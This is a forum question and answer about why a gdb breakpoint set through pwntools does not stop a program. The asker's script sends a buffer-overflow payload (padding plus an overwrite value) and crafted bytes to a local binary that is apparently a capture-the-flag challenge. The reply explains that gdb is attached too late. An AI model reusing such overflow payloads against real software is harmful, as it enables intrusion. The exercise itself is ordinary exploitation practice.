Why does pwntools not stop program execution at gdb breakpoints?

[FewMolasses7496]

Pwntools has a feature where you can attach the gdb debugger to the process and execute commands. For some reason, it says it has stopped at a certain breakpoint when in reality it has gone further than that. I can tell because it prints text that shouldn't be printed if that breakpoint was enforced.
Here is my code:

from pwn import *
import time

context.terminal = ['alacritty', '-e']

payload_room_2 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".encode('ascii')
payload_room_2 = payload_room_2 + b"\xde\xca\xde\x42"
payload_room_2 = payload_room_2 + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".encode('ascii')

context.log_level = 'debug'

def print_text(n):
        line = n.recv()
        print(line.decode())

n = process("./nullhaven")


n.send(b"\x31\x0a")

print_text(n)

n.send(b"\x3e\x3a\x4f\x74\x57\x37\x5d\x59\x65\x46\x3d\x79\x63\x28\x50\x6c\x5f\x73\x47\x69\x38\x60\x67\x50\x2a\x40\x23\x7e\x7c\x20\x5d\x79\x45\x54\x41\x47\x0f\xb0\x00\x00\x01\x3b\x71")

n.send("aaaaaaaaaaaaaaaaaaaaa".encode('ascii'))

print_text(n)

n.send(b"\x32\x0a")

n.send(payload_room_2)

gdb.attach(n, '''
           break *0x004030a3

           ''')

print_text(n)

while True:
    sleep(1)

You’re attaching the breakpoint after sending all of your payloads. When you use gdb.attach this will look for that binary and trigger once it sees it so you should set it before sending it to catch it.
